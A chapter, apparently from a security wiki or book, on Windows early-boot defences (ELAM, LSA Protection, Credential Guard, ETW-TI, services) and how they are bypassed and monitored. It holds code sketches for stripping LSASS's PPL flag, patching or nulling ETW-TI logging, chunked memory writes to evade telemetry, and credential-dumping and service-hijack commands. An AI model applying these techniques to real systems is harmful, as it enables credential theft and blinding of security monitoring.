Chapter 03

Chapter 3: Early System Initialization

After the kernel initializes and establishes basic system services, Windows enters a critical phase where the security infrastructure is established. This period—between kernel startup and user login—determines whether the system will be defended by robust security mechanisms or compromised before any user-facing protection can activate. Understanding early initialization is essential for both attackers seeking to subvert defenses at their foundation and defenders working to ensure these protections remain intact.


The Initialization Sequence

When the kernel finishes its primary initialization, it creates the Session Manager (smss.exe), which orchestrates the startup of all subsequent system components. This carefully ordered sequence determines which processes start, in what order, and with what privileges. Each component in this chain has security implications, and the order itself creates opportunities for both protection and attack.

┌─────────────────────────────────────────────────────────────────────────┐
│                     EARLY SYSTEM INITIALIZATION                          │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  ntoskrnl.exe (Kernel)                                                  │
│        │                                                                 │
│        ▼                                                                 │
│  ┌──────────────┐                                                       │
│  │ ELAM Drivers │  Antimalware Early Launch                             │
│  └──────┬───────┘                                                       │
│         │                                                                │
│         ▼                                                                │
│  ┌──────────────┐                                                       │
│  │ Boot Drivers │  (Ordered by Group)                                   │
│  └──────┬───────┘                                                       │
│         │                                                                │
│         ▼                                                                │
│  ┌──────────────┐                                                       │
│  │   smss.exe   │  Session Manager (Session 0)                          │
│  └──────┬───────┘                                                       │
│         │                                                                │
│         ├─────────────────────────────────────────┐                     │
│         │                                         │                     │
│         ▼                                         ▼                     │
│  ┌──────────────┐                          ┌──────────────┐            │
│  │  csrss.exe   │  (Session 0)             │ wininit.exe  │            │
│  └──────────────┘                          └──────┬───────┘            │
│                                                   │                     │
│                    ┌──────────────────────────────┼─────────────────┐  │
│                    │                              │                 │  │
│                    ▼                              ▼                 ▼  │
│             ┌──────────────┐              ┌──────────────┐  ┌────────┐│
│             │ services.exe │              │  lsass.exe   │  │ ETW-TI ││
│             │ (SCM)        │              │  (LSA)       │  │ Init   ││
│             └──────────────┘              └──────────────┘  └────────┘│
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

The Local Security Authority Subsystem Service (lsass.exe) deserves particular attention. This process handles authentication, stores credentials, and enforces security policy. Compromise of LSASS typically means compromise of the entire domain, making it the most valuable target during early initialization and throughout system operation.


ELAM: Early Launch Antimalware

Understanding ELAM

Before third-party drivers load—before most of the system has initialized—there's a narrow window where antimalware software can establish itself and inspect everything that follows. Early Launch Antimalware (ELAM) exploits this window, allowing security software to load first and evaluate the trustworthiness of subsequent boot drivers.

The concept addresses a fundamental chicken-and-egg problem: how can security software protect the system if a rootkit loads before the security software? ELAM's answer is to ensure the security software loads first, period.

MITRE ATT&CK Defense: Mitigates T1014 (Rootkit), T1547.001 (Boot or Logon Autostart)

ELAM Architecture

ELAM operates through a callback mechanism that the kernel invokes for each boot driver before that driver initializes:

┌─────────────────────────────────────────────────────────────────────┐
│                         ELAM BOOT FLOW                               │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  1. Kernel loads ELAM driver first                                   │
│     └─ Special Group: "Early-Launch"                                │
│     └─ Must be signed by Microsoft ELAM certificate                 │
│                                                                      │
│  2. ELAM driver registers callbacks                                  │
│     └─ Boot driver initialization callback                          │
│     └─ Returns: Good, Bad, or Unknown                                │
│                                                                      │
│  3. Kernel evaluates each boot driver                                │
│     └─ Calls ELAM callback with driver info                          │
│     └─ ELAM returns classification                                   │
│                                                                      │
│  4. Boot policy determines action                                    │
│     └─ Good: Load driver                                             │
│     └─ Bad: Block driver (policy dependent)                          │
│     └─ Unknown: Policy dependent                                     │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

The ELAM driver itself must be signed with a special Microsoft-issued certificate that proves the driver has been audited for this privileged role. This certificate is distinct from standard driver signing certificates—obtaining it requires working directly with Microsoft and demonstrating that your security software meets strict requirements.

ELAM Driver Constraints

Because ELAM drivers load so early in the boot process, they operate under severe restrictions. These constraints exist both for stability (the system isn't fully initialized yet) and security (reducing the attack surface of the ELAM driver itself):

Requirement Description
Certificate Must be signed with Microsoft ELAM certificate
Size Typically < 100KB
Functionality Cannot access network, registry, or files
Speed Must complete quickly (timeout enforced)
Callbacks Limited to boot driver classification

The small size requirement isn't just about boot speed—it minimizes the code that could contain vulnerabilities. An ELAM driver with a security flaw would be catastrophic, as it runs with complete kernel privileges before any other protection is active.

ELAM Callback Implementation

The ELAM driver's core responsibility is implementing callbacks that classify boot drivers. When each driver is about to load, the kernel provides the ELAM callback with information about that driver—its hash, its certificate chain, and other metadata. The ELAM driver returns a classification:

// ELAM driver callback registration (conceptual)
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    BOOTDRIVER_CALLBACK_REGISTRY_ENTRY CallbackEntry;

    CallbackEntry.Version = BOOTDRIVER_CALLBACK_VERSION;
    CallbackEntry.ImageCallback = ElamImageCallback;
    CallbackEntry.StatusCallback = ElamStatusCallback;

    // Register with the kernel
    IoRegisterBootDriverCallback(&CallbackEntry, &Handle);

    return STATUS_SUCCESS;
}

// Callback to classify boot drivers
BOOTDRIVER_CALLBACK_CLASSIFICATION
ElamImageCallback(
    PVOID CallbackContext,
    PBOOT_DRIVER_CALLBACK_IMAGE_INFO ImageInfo
) {
    // Check driver hash against known bad list
    if (IsDriverMalicious(ImageInfo->ImageHash)) {
        return BdCbClassificationKnownBadImage;
    }

    // Check against known good list
    if (IsDriverTrusted(ImageInfo->ImageHash)) {
        return BdCbClassificationKnownGoodImage;
    }

    return BdCbClassificationUnknownImage;
}

The classification determines the driver's fate, but the boot policy has the final say. System administrators can configure whether unknown drivers are allowed—a trade-off between security and compatibility with legitimate but unrecognized drivers.

ELAM Attack Considerations

ELAM presents a hardened target, but no defense is absolute. Understanding potential attacks helps defenders ensure ELAM remains effective:

Driver Load Order Manipulation:

An attacker might try to load malicious code before ELAM has a chance to inspect it. However, ELAM's special driver group ("Early-Launch") loads before all other boot drivers by design. This attack has limited viability against a properly functioning system.

ELAM Driver Vulnerabilities:

While rare, vulnerabilities in the ELAM driver itself would be devastating. The small codebase and Microsoft's audit process reduce this risk, but history shows that even audited, security-critical code can have flaws.

Policy Manipulation:

The ELAM boot policy determines how classifications translate to actions. If an attacker can modify this policy, they might configure the system to load drivers classified as "Unknown" or even "Bad":

Location: HKLM\SYSTEM\CurrentControlSet\Control\EarlyLaunch
Values:
  0 = Good only
  1 = Good and Unknown
  3 = Good, Unknown, and Bad (all)

Modifying this registry value requires administrative access and typically a reboot, but it represents a viable persistence mechanism for an attacker who already has elevated privileges.


LSA Protection: Protected Process Light

Understanding LSA Protection

The Local Security Authority (LSA), implemented by lsass.exe, is the keeper of credentials. When you log in, your password hash is processed by LSASS. When you access network resources, LSASS generates and manages Kerberos tickets. This concentration of sensitive data makes LSASS the premier target for credential theft attacks.

LSA Protection addresses this by running lsass.exe as a Protected Process Light (PPL). PPL is a Windows security feature that restricts which processes can interact with protected processes—even processes running as SYSTEM or with administrator privileges cannot freely access a PPL process.

MITRE ATT&CK Defense: Mitigates T1003.001 (OS Credential Dumping: LSASS Memory)

The Protected Process Hierarchy

Windows implements protection as a hierarchy where processes at higher protection levels can access processes at lower levels, but not vice versa:

┌─────────────────────────────────────────────────────────────────────┐
│                     PROTECTED PROCESS LEVELS                         │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  Most Protected                                                      │
│       │                                                              │
│       ▼                                                              │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │  Protected (PP)                                              │   │
│  │  - System-level protection                                   │   │
│  │  - Examples: System, Secure System                           │   │
│  └─────────────────────────────────────────────────────────────┘   │
│       │                                                              │
│       ▼                                                              │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │  Protected Process Light (PPL)                               │   │
│  │  - Antimalware: PsProtectedSignerAntimalware                 │   │
│  │  - Windows: PsProtectedSignerWindows                         │   │
│  │  - LSA: PsProtectedSignerLsa                                 │   │
│  └─────────────────────────────────────────────────────────────┘   │
│       │                                                              │
│       ▼                                                              │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │  Unprotected Process                                         │   │
│  │  - Normal user/admin processes                               │   │
│  │  - No special protections                                    │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                      │
│  Least Protected                                                     │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Within PPL, different signer types create additional hierarchy. An Antimalware-signed PPL can access an LSA-signed PPL, but an LSA-signed PPL cannot access an Antimalware-signed PPL. This allows security software to inspect LSASS while preventing LSASS from being used to attack security software.

Signer Level Examples
WinSystem PP System processes
WinTcb PP-Light Trustlet processes
Antimalware PP-Light EDR/AV processes
Lsa PP-Light lsass.exe
Windows PP-Light Windows services
App PP-Light Signed apps
Authenticode PP-Light Authenticode signed

Enabling LSA Protection

LSA Protection is not enabled by default on all Windows versions. Administrators must explicitly configure it:

Registry Method:

Key: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Value: RunAsPPL
Type: DWORD
Data: 1

For stronger protection, the setting can be locked in UEFI firmware:

With UEFI Lock:

Value: RunAsPPL = 2
- Stored in UEFI variable
- Cannot be disabled from OS
- Requires firmware access to remove

The UEFI lock is significant because it prevents an attacker who has gained SYSTEM access from simply disabling the protection through the registry. They would need to either reboot into firmware settings or exploit a UEFI vulnerability—both significantly harder than modifying a registry value.

How PPL Enforces Protection

When any process attempts to interact with a protected process—opening a handle, reading memory, injecting code—the kernel's access control logic compares protection levels:

// PPL access control logic (simplified)
BOOL CanAccessProtectedProcess(
    PEPROCESS SourceProcess,
    PEPROCESS TargetProcess,
    ACCESS_MASK DesiredAccess
) {
    // Get protection levels
    UCHAR SourceLevel = PsGetProcessProtection(SourceProcess).Level;
    UCHAR TargetLevel = PsGetProcessProtection(TargetProcess).Level;

    // Higher or equal protection can access lower
    if (SourceLevel >= TargetLevel) {
        return TRUE;
    }

    // Check for allowed access mask
    // Some operations allowed even from lower protection
    if ((DesiredAccess & ALLOWED_FROM_UNPROTECTED) == DesiredAccess) {
        return TRUE;
    }

    return FALSE;  // Access denied
}

This means that tools like Mimikatz, which attempt to open LSASS and read its memory, will fail with an access denied error when LSA Protection is enabled—the attacking process is unprotected and cannot access the protected LSASS.

Bypassing PPL

PPL is enforced by the Windows kernel, but the kernel itself is not protected by PPL. This creates bypass opportunities through kernel-mode access:

PPLdump: Kernel Mode Bypass

If an attacker can load a kernel driver, that driver operates outside the PPL enforcement mechanism. The driver can directly access any process's memory regardless of protection level:

// PPLdump uses kernel driver to access LSASS
// 1. Load signed driver with kernel access
// 2. Read LSASS memory from kernel mode
// 3. PPL only protects user-mode access

// The driver performs:
NTSTATUS ReadLsassMemory(HANDLE ProcessId, PVOID Buffer, SIZE_T Size) {
    PEPROCESS Process;
    PsLookupProcessByProcessId(ProcessId, &Process);

    // Kernel can access any process regardless of PPL
    KeStackAttachProcess(Process, &ApcState);
    RtlCopyMemory(Buffer, SourceAddress, Size);
    KeUnstackDetachProcess(&ApcState);

    return STATUS_SUCCESS;
}

Tools like PPLdump leverage signed drivers (often through BYOVD) to read LSASS memory from kernel mode.

PPLKiller: Direct Protection Modification

With arbitrary kernel write capability (again, typically from BYOVD), an attacker can directly modify the protection flags in the EPROCESS structure:

// PPLKiller modifies the protection level in EPROCESS
// Requires kernel write primitive (BYOVD)

// EPROCESS.Protection offset (varies by Windows version)
// Windows 10 22H2: 0x87a

typedef struct _PS_PROTECTION {
    UCHAR Type : 3;    // PsProtectedTypeNone = 0
    UCHAR Audit : 1;
    UCHAR Signer : 4;  // PsProtectedSignerNone = 0
} PS_PROTECTION;

// Set protection to zero = unprotected
PS_PROTECTION NoProtection = {0};
WriteKernelMemory(ProcessEPROCESS + 0x87a, &NoProtection, sizeof(NoProtection));

Once the protection flags are zeroed, LSASS becomes an ordinary unprotected process that any administrator-level process can access.

The Credential Guard Alternative

If Credential Guard is enabled, bypassing PPL provides limited value. Credential Guard stores the actual credentials in VTL 1 (the Secure World), and LSASS in VTL 0 only holds encrypted handles. Even with full LSASS access, the credentials themselves remain protected in the hypervisor-isolated environment.


Credential Guard

How Credential Guard Works

Credential Guard represents Microsoft's strongest credential protection mechanism. Rather than trying to prevent access to LSASS, Credential Guard removes the credentials from LSASS entirely by isolating them in a separate virtual trust level.

The architecture uses two separate instances of the LSA: the normal lsass.exe in VTL 0 (the standard Windows environment) and lsaiso.exe (LSA Isolated) in VTL 1 (the Secure World). When credentials are needed, lsass.exe doesn't have them—it must request cryptographic operations from lsaiso.exe through a secure RPC channel.

┌─────────────────────────────────────────────────────────────────────┐
│                     CREDENTIAL GUARD ARCHITECTURE                    │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  VTL 1 (Secure World)                                               │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │  lsaiso.exe (Isolated LSA)                                   │   │
│  │  ┌──────────────────────────────────────────────────────┐   │   │
│  │  │  - NTLM hashes                                        │   │   │
│  │  │  - Kerberos TGTs and session keys                     │   │   │
│  │  │  - Derived credentials                                │   │   │
│  │  └──────────────────────────────────────────────────────┘   │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                              │                                       │
│                              │ Secure RPC                            │
│                              ▼                                       │
│  VTL 0 (Normal World)                                               │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │  lsass.exe                                                   │   │
│  │  ┌──────────────────────────────────────────────────────┐   │   │
│  │  │  - Opaque handles to VTL 1 credentials               │   │   │
│  │  │  - Cannot decrypt credentials                         │   │   │
│  │  │  - Passes operations to lsaiso                        │   │   │
│  │  └──────────────────────────────────────────────────────┘   │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

This architecture means that even complete compromise of VTL 0—including the kernel—doesn't expose the credentials. An attacker would need to either compromise VTL 1 (requiring hypervisor-level vulnerabilities) or find alternative attack paths.

Credential Guard Protection Coverage

Credential Type Without CG With CG
NTLM Hashes In LSASS memory VTL 1 isolated
Kerberos TGT In LSASS memory VTL 1 isolated
Derived Creds In LSASS memory VTL 1 isolated
Cached Logons In LSASS memory VTL 1 isolated

What Credential Guard Doesn't Protect

Understanding Credential Guard's limitations is crucial for both attackers and defenders:

Not Protected:

These limitations create attack opportunities even on systems with Credential Guard enabled.

Attacks Against Credential Guard Systems

Kerberos Service Ticket Extraction

Credential Guard protects the Kerberos TGT (Ticket Granting Ticket), but service tickets remain in VTL 0. An attacker can still extract and use service tickets for lateral movement:

Even with Credential Guard:
- Kerberos service tickets are in VTL 0
- Only TGT is protected
- Can still export service tickets

Attack: Rubeus dump
rubeus.exe dump /service:cifs

Pass-the-Ticket

Credential Guard doesn't prevent using tickets that were legitimately obtained or extracted from memory. An attacker who captures a service ticket can still use it for lateral movement.

DPAPI Attacks

The Data Protection API (DPAPI) master keys aren't protected by Credential Guard. These keys protect stored credentials, browser passwords, and other secrets. Tools like SharpDPAPI can extract these keys from LSASS:

DPAPI master keys not protected by CG
Attack: Extract DPAPI keys from LSASS
- SharpDPAPI
- Mimikatz dpapi::masterkey

ETW-TI: Threat Intelligence Telemetry

Understanding ETW-TI

Event Tracing for Windows Threat Intelligence (ETW-TI) provides security software with kernel-level visibility into security-relevant operations. When a process attempts to inject code into another process, modify memory protection, or perform other potentially malicious operations, the kernel generates telemetry events that EDR products can consume.

This telemetry is crucial because it captures operations at the kernel level, where they cannot be hidden by user-mode hooks or other evasion techniques. An attacker might unhook ntdll.dll or use direct syscalls to bypass user-mode monitoring, but ETW-TI sees the operations when they reach the kernel.

MITRE ATT&CK Defense: Enables detection of T1055 (Process Injection), T1134 (Access Token Manipulation)

ETW-TI Events

Operation Function Description
Virtual Memory EtwTiLogReadWriteVm Cross-process memory R/W
Memory Protection EtwTiLogProtectExecVm Memory protection changes
Memory Allocation EtwTiLogAllocExecVm Executable allocation
Suspend/Resume EtwTiLogSuspendProcess Process suspension
Set Context EtwTiLogSetContextThread Thread context modification
Queue APC EtwTiLogQueueApcThread APC injection
Map View EtwTiLogMapExecView Memory mapping

ETW-TI Implementation

ETW-TI logging is embedded directly in kernel functions. When you call NtWriteVirtualMemory to write to another process, the kernel function itself generates telemetry before performing the write:

// ETW-TI is called from kernel functions
// Example: NtWriteVirtualMemory

NTSTATUS NtWriteVirtualMemory(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
) {
    // ... validation ...

    // ETW-TI telemetry
    if (EtwTiTraceEnabled()) {
        EtwTiLogReadWriteVm(
            ProcessHandle,
            BaseAddress,
            NumberOfBytesToWrite,
            TRUE  // Write operation
        );
    }

    // ... actual write ...
}

The telemetry includes details about the source process, target process, addresses, and operation type—everything an EDR needs to detect injection attempts.

ETW-TI Registration

ETW-TI Provider GUID: {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}
    └─ Microsoft-Windows-Threat-Intelligence

Consumer Registration:
- EDR kernel driver registers for events
- Receives callbacks for all logged operations
- Cannot be unregistered from userland

Importantly, ETW-TI consumers register through kernel-mode APIs. A user-mode process cannot simply unsubscribe from these events or prevent them from being logged. This is why attackers must use kernel-level techniques to disable ETW-TI.

Bypassing ETW-TI

BYOVD Kernel Patching

The most reliable ETW-TI bypass involves patching the logging functions themselves in kernel memory. With a BYOVD-provided write primitive, an attacker can modify EtwTiLogReadWriteVm to immediately return without logging:

// Patch EtwTiLogReadWriteVm to return immediately
// Requires kernel write primitive

// Find EtwTiLogReadWriteVm address
PVOID EtwTiFunc = GetKernelProcAddress("EtwTiLogReadWriteVm");

// Patch with: ret (0xC3)
UCHAR Patch[] = { 0xC3 };
WriteKernelMemory(EtwTiFunc, Patch, sizeof(Patch));

// Alternative: Patch ETW provider registration
// Null the ProviderGuid to disable logging

Provider Handle Manipulation

Rather than patching code, attackers can modify the ETW provider registration data to disable logging:

// ETW-TI uses EtwRegister with specific GUID
// Can modify the registration handle

// Find nt!EtwThreatIntProvRegHandle
PVOID RegHandle = FindEtwTiProvRegHandle();

// Null the handle
WriteKernelMemory(RegHandle, 0, sizeof(PVOID));

Chunked Operations

Some ETW-TI logging has thresholds below which operations aren't logged. By breaking large operations into many small chunks, attackers may fly under the radar:

// ETW-TI has size thresholds for some operations
// Break large operations into smaller chunks

#define CHUNK_SIZE 0x100  // Below telemetry threshold

BOOL WriteMemoryStealth(HANDLE hProcess, PVOID Dest, PVOID Src, SIZE_T Size) {
    for (SIZE_T offset = 0; offset < Size; offset += CHUNK_SIZE) {
        SIZE_T chunk = min(CHUNK_SIZE, Size - offset);

        NtWriteVirtualMemory(
            hProcess,
            (PBYTE)Dest + offset,
            (PBYTE)Src + offset,
            chunk,
            NULL
        );

        // Random delay to avoid pattern detection
        Sleep(rand() % 50);
    }
    return TRUE;
}

Same-Process Operations

ETW-TI focuses heavily on cross-process operations because those are the hallmark of injection attacks. Operations within the same process generate less telemetry:

// ETW-TI primarily monitors cross-process operations
// Self-injection has less telemetry

// Instead of injecting into another process:
// 1. Allocate memory in current process
// 2. Copy shellcode
// 3. Execute locally
// 4. Use thread pool for callback execution

This is one reason why attackers prefer techniques like module stomping (overwriting legitimate code in their own process) over classic remote injection.


Protected Processes Deep Dive

Protection Types and Signers

Windows implements protection through a combination of type and signer values stored in each process's EPROCESS structure:

Type Value Description
None 0 Unprotected
Light 1 Protected Process Light (PPL)
Full 2 Full Protected Process (PP)
typedef enum _PS_PROTECTED_SIGNER {
    PsProtectedSignerNone         = 0,
    PsProtectedSignerAuthenticode = 1,
    PsProtectedSignerCodeGen      = 2,
    PsProtectedSignerAntimalware  = 3,
    PsProtectedSignerLsa          = 4,
    PsProtectedSignerWindows      = 5,
    PsProtectedSignerWinTcb       = 6,
    PsProtectedSignerWinSystem    = 7,
    PsProtectedSignerApp          = 8,
    PsProtectedSignerMax          = 9
} PS_PROTECTED_SIGNER;

Access Control Matrix

The signer values create a hierarchy determining who can access whom:

Access Matrix (Source → Target):

From\To     | None | Auth | AM  | LSA | Win | Tcb | Sys
------------|------|------|-----|-----|-----|-----|-----
None        | Full | ❌   | ❌  | ❌  | ❌  | ❌  | ❌
Auth        | Full | Full | ❌  | ❌  | ❌  | ❌  | ❌
AM          | Full | Full | Full| ❌  | ❌  | ❌  | ❌
LSA         | Full | Full | Full| Full| ❌  | ❌  | ❌
Win         | Full | Full | Full| Full| Full| ❌  | ❌
Tcb         | Full | Full | Full| Full| Full| Full| ❌
Sys         | Full | Full | Full| Full| Full| Full| Full

Note that Antimalware-signed processes can access LSA-signed processes, which is why security software can inspect LSASS even when it's running as PPL.

Creating Protected Processes

A process cannot simply declare itself protected—protection requires specific signatures in the executable and is set at process creation time:

// Requires specially signed executable
// Certificate must include specific EKU

// PS_ATTRIBUTE for protection
PS_ATTRIBUTE ProtectionAttr;
ProtectionAttr.Attribute = PS_ATTRIBUTE_PROTECTION_LEVEL;
ProtectionAttr.Size = sizeof(PS_PROTECTION);
ProtectionAttr.ValuePtr = &Protection;

// Protection level
PS_PROTECTION Protection = {
    .Type = PsProtectedTypeProtectedLight,
    .Signer = PsProtectedSignerAntimalware
};

// Create process with protection
NtCreateUserProcess(
    &ProcessHandle,
    &ThreadHandle,
    MAXIMUM_ALLOWED,
    MAXIMUM_ALLOWED,
    NULL,
    NULL,
    0,
    0,
    &CreateInfo,
    &AttributeList  // Contains protection attribute
);

The certificate chain must include Extended Key Usage (EKU) OIDs that correspond to the requested protection level. These certificates are only issued by Microsoft to trusted software vendors.


Service Control Manager Security

Services.exe Protection Model

The Service Control Manager (services.exe) is responsible for starting, stopping, and managing all Windows services—including services that run with SYSTEM privileges. Compromising SCM operations can provide persistence, privilege escalation, and stealth.

┌─────────────────────────────────────────────────────────────────────┐
│                    SERVICE SECURITY MODEL                            │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  services.exe (SCM)                                                  │
│       │                                                              │
│       ├── Service ACLs                                               │
│       │   └─ Who can start/stop/configure                            │
│       │                                                              │
│       ├── Service Accounts                                           │
│       │   ├─ LocalSystem (highest privilege)                         │
│       │   ├─ LocalService (limited network)                          │
│       │   ├─ NetworkService (limited local)                          │
│       │   └─ Virtual Accounts (per-service isolation)                │
│       │                                                              │
│       ├── Service Isolation                                          │
│       │   ├─ Session 0 isolation                                     │
│       │   ├─ SID-based isolation                                     │
│       │   └─ Write-restricted tokens                                 │
│       │                                                              │
│       └── Driver Services                                            │
│           └─ Kernel-mode drivers (special handling)                  │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Service Attack Vectors

Service Binary Hijacking

If an attacker can write to the location where a service's executable resides, they can replace it with malicious code that will run with the service's privileges:

Attack: Replace service binary with malicious one
Requirement: Write access to service path
Detection: File integrity monitoring

Example Vulnerable Path:
C:\Program Files\UnquotedPath Service\service.exe
└─ Attacker creates: C:\Program.exe

Unquoted service paths are particularly interesting: if a service path contains spaces and isn't quoted, Windows will try multiple interpretations. For C:\Program Files\My Service\service.exe, Windows first tries C:\Program.exe, then C:\Program Files\My.exe, before finding the intended path.

Service Registry Manipulation

Service configurations are stored in the registry. Modifying these entries can redirect a service to run attacker-controlled code:

Attack: Modify ImagePath in registry
Location: HKLM\SYSTEM\CurrentControlSet\Services\<name>\ImagePath
Detection: Registry monitoring

sc config vulnerable binpath= "cmd.exe /c payload.exe"

DLL Side-Loading

Services often load DLLs from their installation directories. Placing a malicious DLL with the right name in a service's directory can result in code execution with the service's privileges:

Attack: Place malicious DLL in service's search path
Requirement: Write access to program directory
Detection: DLL load monitoring

Detection Strategies

LSASS Protection Monitoring

Defenders should verify that LSA protection remains enabled and effective:

# Check LSA protection status
$lsaKey = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
Get-ItemProperty -Path $lsaKey -Name RunAsPPL -ErrorAction SilentlyContinue

# Check if LSASS is actually running as PPL
$lsass = Get-Process lsass
$protection = (Get-WmiObject Win32_Process |
    Where-Object ProcessId -eq $lsass.Id).GetOwner()

ETW-TI Consumer Monitoring

Verify that ETW-TI events are flowing to security tools:

# Check for ETW-TI consumer registration
# Requires kernel access or driver

# From userland, check if ETW-TI events are flowing
# Use Event Viewer: Microsoft-Windows-Threat-Intelligence/Operational
Get-WinEvent -LogName "Microsoft-Windows-Threat-Intelligence/Operational" -MaxEvents 10

A sudden drop in ETW-TI events could indicate an attacker has disabled the logging mechanism.

Protected Process Enumeration

Programmatically verify process protection levels:

// Check process protection level
PROCESS_PROTECTION_LEVEL_INFORMATION ProtectionInfo;
NtQueryInformationProcess(
    ProcessHandle,
    ProcessProtectionLevelInformation,
    &ProtectionInfo,
    sizeof(ProtectionInfo),
    NULL
);

// ProtectionInfo.ProtectionLevel contains:
// - PROTECTION_LEVEL_PPL_APP
// - PROTECTION_LEVEL_PPL_WINDOWS
// - PROTECTION_LEVEL_PPL_ANTIMALWARE
// etc.

Critical Event Log Monitoring

Log Event ID Description
Security 4611 Trusted logon process registered
Security 4614 Notification package loaded
Security 4622 LSA package loaded
Security 4697 Service installed
System 7045 Service installed
Microsoft-Windows-LSA/Operational 300 LSASS protection status

These events can reveal attempts to tamper with the authentication infrastructure or install malicious services.


Summary

Early system initialization represents a critical period where security boundaries are established. The protections discussed in this chapter—ELAM, LSA Protection, Credential Guard, and ETW-TI—work together to create defense in depth:

Protection Attack Detection Bypass Difficulty
ELAM Driver order manipulation ELAM logs High
LSA Protection (PPL) PPLdump, PPLKiller Process protection query Medium
Credential Guard Ticket extraction, DPAPI VBS status High
ETW-TI BYOVD patching ETW event monitoring Medium
Protected Processes BYOVD manipulation Protection level query Medium

The common thread in most bypasses is kernel access—typically obtained through BYOVD. This underscores the importance of the kernel security mechanisms discussed in Chapter 2. For defenders, the priority should be enabling all available protections (especially Credential Guard on systems with VBS capability), monitoring for protection status changes, and ensuring driver load policies prevent BYOVD attacks.

For attackers conducting authorized testing, understanding these mechanisms reveals the value of kernel access as an initial objective and guides technique selection based on which protections are enabled.


References

← Back to Wiki